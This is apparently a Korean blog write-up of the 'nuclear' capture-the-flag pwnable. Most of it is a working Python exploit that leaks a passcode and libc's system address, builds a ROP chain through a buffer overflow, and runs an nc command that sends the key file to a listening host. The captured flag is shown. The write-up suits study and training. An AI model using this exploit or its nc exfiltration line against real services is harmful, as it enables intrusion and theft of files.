shellstorm 에 바이너리 있음.
start_routine 부분에 recv를 1298 이나 해버려서 bof가 일어난다.
payload.py
페이로드가 쓸데없이 길다. 함수를 이용해 세분화 시키려고 했는데 그것때문에 더 길어진 것 같다.
원래 /bin/sh 를 실행하고 cat /key 명령어를 실행하려고 했으나, 소켓 연결 후 /bin/sh 명령어가 system 함수의 인자로 전달되지 않고 자꾸 소켓 연결 에러가 뜨길래 nc를 이용해
reverse 형식으로 키값 전달을 실행했다.
=====> 원래, dynamic 섹션을 costom_stack 의 주소로 썼는데, 다른 섹션인 data 을 이용하니 잘되더라.
(결국 페이로드에 문제가 있던 것이었다.)
user@user-virtual-machine:~$ nc -l -p 1234
BUG_BOUNTIES_b3COM3_GrEAT
-----------------
로컬로 풀면 아무래도 실제 문제풀이 상황과 다를수도 있다고 생각하여,
문제서버를 하나 만들고 (Ubuntu 14.10)
풀이서버를 또하나 만들어서 (Ubuntu 14.10)
풀이를 해보았다.
from socket import *
from struct import *
p=lambda x:pack("<L",x)
up=lambda x:unpack("<L",x)[0]
custom_stack = 0x0804b080 # .data section
vuln_func = 0x08048B5B # start_routine function
sendplt = 0x08048900
sendgot = 0x0804b07c
recvplt = 0x080488e0
ppppr = 0x0804917c
send_system_offset=0xe90 # system-send=offset
# system = offset + send
pr=ppppr+3
cmd="nc 192.168.0.36 1234 < /home/user/pwnable/nuclear/key"
# char buf; // [sp+1Ch] [bp-20Ch]@1
vuln_func_dummy="\x90"*(0x20C+4)
# 0x238 - 0x30 == 0x208 == 520
# for erase null byte
passcode_leak_dummy="\x90"*520
def start_socket():
s=socket(AF_INET,SOCK_STREAM)
s.connect(("192.168.0.31",1129))
s.recv(1024) # :: Welcome to the Nuclear Control System ::
s.recv(1024) # >
return s
def stop_socket(s):
s.close()
def set_target(s):
s.send("target\n")
s.recv(1024) # [+] Enter coordinate of target, (Latitude/Longitude)
s.send("0.1/0.1\n")
s.recv(1024) # [+] Target coordinate setting completed.
s.recv(1024) # >
def leak_passcode(s):
payload=""
payload+=passcode_leak_dummy
s.send(payload+"\n")
passcode = s.recv(1024)[542:566]
print "passcode : " + passcode
s.recv(1024) # Unknown command ~~ + >
return passcode
def start_routine(passcode,s):
s.send("launch\n")
s.recv(1024)
s.send(str(passcode)+"\n")
s.recv(1024)
s.recv(1024) # <-- start countdown...
def leak_systemaddr(s):
s.recv(1024)
payload=""
payload+=vuln_func_dummy
# send(0x04,send@got,0x04,0)
payload+=p(sendplt)
payload+=p(ppppr)
payload+=p(0x04)
payload+=p(sendgot)
payload+=p(0x04)
payload+=p(0x00)
# vuln_func(0x04)
payload+=p(vuln_func)
payload+=p(0xdeadbeef)
payload+=p(0x04)
s.send(payload + "\n")
s.recv(1024)
sendaddr=up(s.recv(1024))
systemaddr=sendaddr+send_system_offset
print "system@libc : " + str(hex(systemaddr))
return systemaddr
def exploit(systemaddr,s):
payload=""
payload+=vuln_func_dummy
# recv(0x04,custom_stack,0xff,0x00)
payload+=p(recvplt)
payload+=p(ppppr)
payload+=p(0x04)
payload+=p(custom_stack)
payload+=p(0xff)
payload+=p(0x00)
# system(&cmd)
payload+=p(systemaddr)
payload+=p(0xdeadbeef)
payload+=p(custom_stack)
s.send(payload+"\n")
print s.recv(1024)
s.send(cmd+"\n")
print s.recv(1024)
sock=start_socket()
set_target(sock)
passcode = leak_passcode(sock)
start_routine(passcode,sock)
systemaddr=leak_systemaddr(sock)
exploit(systemaddr,sock)
stop_socket(sock)
결과 :
user@ubuntu:~/pwnable/nuclear$ nc -l -p 1234
BUG_BOUNTIES_b3COM3_GrEAT
'시스템' 카테고리의 다른 글
Modern browser analysis and exploit development (0) | 2016.12.27 |
---|---|
파일 디스크립터 (0) | 2015.04.10 |
ROPasaurusrex (0) | 2015.04.09 |
Linux 환경에서의 메모리 보호 기법 (0) | 2015.04.06 |